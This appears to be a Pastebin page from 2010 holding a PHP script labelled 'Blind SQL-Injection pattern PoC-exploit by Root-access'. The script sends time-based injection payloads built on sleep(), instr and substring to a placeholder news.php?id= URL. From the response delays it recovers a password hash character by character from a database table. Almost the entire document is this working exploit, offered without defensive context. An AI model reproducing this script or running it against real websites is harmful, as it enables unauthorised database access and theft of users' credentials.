daily pastebin goal
21%
SHARE
TWEET

Root-access

a guest Jan 30th, 2010 324 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $url = "http://site.ru/news.php?id=1"; //URL &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1072; &#1076;&#1086; "+AND+..."
  3. $id = 0; //&#1053;&#1086;&#1084;&#1077;&#1088; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1103;
  4. $coef = 2; //&#1052;&#1085;&#1086;&#1078;&#1080;&#1090;&#1077;&#1083;&#1100;
  5. $try = 5; //&#1050;&#1086;&#1083;-&#1074;&#1086; &#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1086;&#1095;&#1085;&#1099;&#1093; &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1086;&#1074;
  6. function avrg($arr) {
  7.      foreach ($arr as $val) {
  8.           $sum+=$val;
  9.      }
  10.      return $sum/count($arr);
  11. }
  12. function delta($url) {
  13.      $tests = array();
  14.      for($i=0;$i<=$try;$i++) {
  15.           $time = time()+microtime();
  16.           file_get_contents("$url+and+sleep(1)");
  17.           $tests[$i] = time()+microtime()-$time;
  18.      }
  19.      return avrg($tests);
  20. }
  21. function testtime($url) {
  22.         $time = time()+microtime();
  23.         file_get_contents($url);
  24.         return time()+microtime()-$time;
  25. }
  26. $delta = round($coef*delta($url));
  27. $testtime=testtime($url);
  28. echo "<b>Blind SQL-Injection pattern PoC-exploit by Root-access</b><br>";
  29. echo "Request type: $url+and+sleep(substring(version(),1,1))<br>";
  30. echo "Test time: $testtime<br>";
  31. $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
  32. $res = "";
  33. for($i=1;$i<33;$i++) {
  34.         $time = time()+microtime();
  35.         file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+$id,1),$i,1))))");
  36.         $res = $res.$sym[round((time()+microtime()-$time-$testtime)/2-1)];
  37. }
  38. echo "Hash: ".$res;
  39. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand